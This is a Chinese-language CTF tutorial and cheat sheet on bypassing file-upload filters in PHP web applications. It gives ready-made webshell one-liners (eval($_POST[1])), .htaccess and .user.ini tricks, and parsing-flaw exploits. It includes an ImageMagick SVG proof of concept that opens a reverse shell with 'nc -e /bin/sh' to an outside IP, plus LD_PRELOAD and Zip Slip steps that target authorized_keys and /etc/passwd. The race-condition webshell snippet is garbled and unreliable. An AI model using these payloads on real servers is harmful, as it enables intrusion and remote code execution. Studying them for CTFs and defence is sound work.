第一部分:基础与经典绕过 (The Classics)

这部分是基础,但在某些签到题或复杂攻击链的第一步中仍然有效。

1. 前端验证绕过

  • 原理:JavaScript 在浏览器端检查文件后缀。
  • 利用
    • 禁用浏览器 JS。
    • 先上传合法后缀(如 .jpg),抓包(Burp Suite),将文件名修改为 .php 后发送。

2. MIME-Type 验证绕过

  • 原理:后端仅检查 HTTP 请求包中的 Content-Type 字段。
  • 利用:抓包将 Content-Type: application/octet-stream 修改为白名单类型,如 image/jpegimage/pngimage/gif

3. 后缀名黑名单绕过

  • 原理:代码使用黑名单(如禁止 .php),但未覆盖所有可解析后缀或存在解析差异。
  • Trick 列表
    • 特殊后缀.php3, .php5, .phtml, .phps (需 Apache配置支持 AddType application/x-httpd-php .php5)。
    • 大小写绕过.PhP (Windows 不区分大小写,Linux 需代码未做 strtolower)。
    • 点与空格(Windows 特性)
      • .php. (Windows 保存文件时会自动去除末尾的点)。
      • .php (Windows 保存文件时会自动去除末尾的空格)。
      • .php. . (点+空格+点 组合拳)。
    • NTFS流特性(Windows 特性)
      • .php::$DATA:Windows 会忽略 ::$DATA,直接保存为 .php

4. 后缀名白名单绕过

  • 原理:代码只允许特定后缀(如 jpg, png),通常比较安全,需结合解析漏洞或文件包含。
  • Trick 列表
    • 00截断 (%00)
      • 条件:PHP < 5.3.4 且 magic_quotes_gpc=Off
      • 原理:底层 C 语言将 \0 视为字符串结束。
      • 利用:文件名改为 shell.php%00.jpg(URL编码)或在 Hex 视图中手动改为 00
    • 双后缀/多后缀shell.jpg.php (取决于解析逻辑是从左往右还是从右往左,见下文 Apache 解析漏洞)。

第二部分:服务器配置与解析漏洞 (Core Mechanics)

这是 CTF 中分的重点,往往利用服务器中间件的特性。

1. Apache .htaccess 攻击

  • 原理:Apache 允许目录下的 .htaccess 文件覆盖全局配置。如果题目允许上传名为 .htaccess 的文件,我们可以自定义解析规则。

  • Trick 1: 将所有文件解析为 PHP

    1
    SetHandler application/x-httpd-php

    上传该文件后,再上传一个包含 Shell 的 shell.jpg,Apache 会将其作为 PHP 执行。

  • Trick 2: 指定扩展名解析

    1
    AddType application/x-httpd-php .jpg
  • Trick 3: 结合伪协议 (新颖)
    如果内容有检测(如 <? 被过滤),可利用 base64 编码包含:

    1
    2
    AddType application/x-httpd-php .jpg
    php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.jpg"

    此时 shell.jpg 内容可以是 base64 编码后的 webshell。

2. .user.ini 攻击 (近年 CTF 高频)

  • 原理:在 CGI/FastCGI 模式(如 Nginx + PHP-FPM)下,.htaccess 不生效,但 PHP 会读取 .user.ini

  • 条件

    1. Server API 为 FastCGI 模式。
    2. 上传目录下必须 已存在一个正常的 PHP 文件 (如 index.php),因为 .user.ini 是作为配置被那个 PHP 文件加载的,它自己无法独立执行。
  • Trick: 利用 auto_prepend_fileauto_append_file

    • 上传 .user.ini 内容:

      1
      auto_prepend_file=shell.jpg
    • 上传 shell.jpg (即 Webshell)。

    • 访问该目录下的正常文件(如 /upload/index.php),shell.jpg 的内容会被自动包含并执行。

3. Nginx 解析漏洞 (配置错误)

  • 原理:配置 location ~ \.php$ 时逻辑不严谨(cgi.fix_pathinfo=1)。
  • 利用:上传 shell.jpg,访问 http://site.com/shell.jpg/a.php。Nginx 看到后缀是 .php 交给 PHP 处理,PHP 找不到 a.php,会向前递归解析 shell.jpg

4. Apache 解析漏洞 (旧版本/特定配置)

  • 原理:Apache 某些版本识别后缀是从右往左,遇到不认识的后缀就跳过。
  • 利用:上传 shell.php.xxx.yyy。Apache 不认识 yyyxxx,最后解析为 .php

第三部分:内容检测与 WAF 绕过 (Advanced Bypass)

当后缀和 MIME 都无法利用时,就要在文件内容上下功夫。

1. 标签与代码风格绕过

如果 <?php 被过滤:

  • 短标签<?= eval($_POST[1]); ?> (不需要 short_open_tag=On,PHP 5.4+ 默认支持)。
  • Script 标签<script language="php">eval($_POST[1]);</script> (PHP 7.0 以前有效,老题常见)。
  • ASP 风格<% eval($_POST[1]); %> (需开启 asp_tags)。

2. 文件头 (Magic Bytes) 伪造

  • 原理:后端检测文件头前几个字节判断类型(如 getimagesize())。
  • 利用
    • GIF:文件内容开头加 GIF89a
    • BMP:文件开头加 BM
    • PNG/JPG:复制真实图片的 Hex 头部。
  • 图片马制作
    • Linux: cat image.jpg shell.php > polyglot.jpg

3. 二次渲染 (Secondary Rendering) 绕过

  • 原理:服务器接收图片后,使用 GD 库或 ImageMagick 对其进行 resize、crop 或重编码,原始的 Webshell 字符串会被打乱或删除。
  • 利用:需寻找 渲染后未变动的区域
    • GIF: 比较简单,只需保留头部和特定块,通常利用工具或手工插入不被破坏的空隙。
    • JPG/PNG: 极难。通常需要脚本暴力碰撞(Fuzzing)或使用特定工具(如 GD-PHP-Payload)生成一张经过 GD 库处理后 Shell 依然存在的图片。
    • Trick: 只要能够上传成功,且能结合文件包含漏洞,通过包含该图片即可 RCE。

4. <? 起始符过滤绕过 (Base64/Encoding)

  • 场景:内容检测禁止 <?
  • Trick: 结合伪协议或 .htaccess 的解码功能(如前文所述)。如果不允许伪协议,可利用 iconv 转换。

第四部分:近年高阶 Trick 与新利用方式

这部分是区分高手的关键,涉及竞争、底层库特性及 PHP 新特性。

1. 竞争上传 (Race Condition)

  • 场景:逻辑是“先保存文件 -> 检查内容/后缀 -> 如果非法则删除”。

  • 原理:在“保存”和“删除”之间存在极短的时间差(几毫秒)。

  • 利用

    • 使用多线程并发脚本(Burp Intruder 或 Python)。

    • 不断上传 shell.php

    • 不断访问 shell.php

    • 一旦在删除前访问成功,让 shell.php 生成一个不被删除的新马:

      1
      <?php                                                           ?>"); ?>

2. 结合 phar:// 协议的反序列化

  • 场景:限制了后缀名为白名单(如只准 jpg),但代码中有 file_existsis_dirfilesize 等文件操作函数,且参数可控。
  • 利用
    • 生成一个 Phar 文件,将 Payload(反序列化利用链)写入 Phar 的 Metadata。
    • 将 Phar 文件修改后缀为 .jpg 上传。
    • 通过 phar://path/to/shell.jpg/test 触发反序列化,达成 RCE。

3. ImageMagick 漏洞 (CVE 历史遗留与变种)

  • 原理:ImageMagick 在解析特定格式(如 MVG, SVG)时存在命令执行。

  • Trick: 上传这就不仅仅是 WebShell 了,而是直接 RCE。

    • POC (SVG 举例):

      1
      2
      3
      <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
      <image href="msl:nc -e /bin/sh 1.2.3.4 4444" />
      </svg>
    • 近年 CTF 中常考 GhostScript 相关的漏洞(解析 PDF/EPS 时)。

4. iconv 转码攻击 (WAF Bypass)

  • 场景:WAF 严格过滤了 php, eval, system 等关键字,但允许上传并存在文件包含,或者允许 .user.ini 指定编码。

  • 利用:利用字符编码转换生成 Payload。

    • 例如,利用 UTF-7、UTF-16 或 UCS-2 等编码将 Webshell 编码,WAF 无法识别。

    • 配合 .user.ini:

      1
      auto_append_file="php://filter/read=convert.iconv.utf-16le.utf-8/resource=shell.jpg"

      shell.jpg 内部存储 UTF-16LE 编码的恶意代码,PHP 加载时转为 UTF-8 执行。

5. 利用 LD_PRELOAD 绕过 disable_functions

  • 场景:Shell 已上传,但 system, exec 等函数被禁用(disable_functions),且 open_basedir 限制较松。

  • Trick:

    • 上传一个编译好的 .so 文件(劫持 getuid__attribute__((constructor)))。

    • 上传 .php 文件,设置环境变量:

      1
      2
      putenv("LD_PRELOAD=/var/www/html/hack.so");
      mail("", "", "", ""); // 触发系统调用
    • PHP 的 mail()imagick 会调用系统二进制程序,从而加载恶意的 .so 执行命令。

  • 场景:系统允许上传压缩包并自动解压。
  • Trick:
    • Zip Slip: 构造文件名包含 ../../ 的压缩包,解压时覆盖上层目录的关键文件(如覆盖 index.php/root/.ssh/authorized_keys)。
    • Symlink: 在 Linux 下创建一个软链接指向 /etc/passwd,压缩上传。解压后访问该文件,实际上读取的是 /etc/passwd

7. PHP 7/8 Segment Fault (崩溃) 生成临时文件

  • 场景:无法直接上传文件到 Web 目录,但存在本地文件包含 (LFI)。
  • Trick:
    • 向 PHP 发送超大文件或构造特定 Payload 让 PHP 进程崩溃(Segfault)。
    • PHP 在处理上传时会生成 /tmp/phpXXXXXX 临时文件。
    • 正常情况下脚本执行完会删除临时文件,但如果进程崩溃,临时文件会残留。
    • 结合 LFI 包含该临时文件(需要爆破文件名,或利用 Windows 下的 FindFirstFile 特性)。

8. “Chunked” 传输绕过 WAF

  • 原理:许多 WAF 无法解析 HTTP 协议的 Transfer-Encoding: chunked
  • 利用:在 Burp Suite 中将请求体分块发送,WAF 看到的可能是碎片的关键词,而后端 Web Server 会将其重组。

总结学习建议

在做 CTF 题时,建议按照以下流程思考:

  1. 探测环境:Server 是什么(Nginx/Apache/IIS)?OS 是什么(Win/Linux)?PHP 版本?
  2. 黑白名单测试:Fuzzing 后缀名,测试 php5, phtml, pHp 等。
  3. 检查内容过滤:尝试上传包含 <?php 的纯文本,看是否报错或被拦截。
  4. 寻找配置文件:能否上传 .htaccess.user.ini
  5. 组合拳
    • 上传+文件包含。
    • 上传+解析漏洞。
    • 上传+竞争。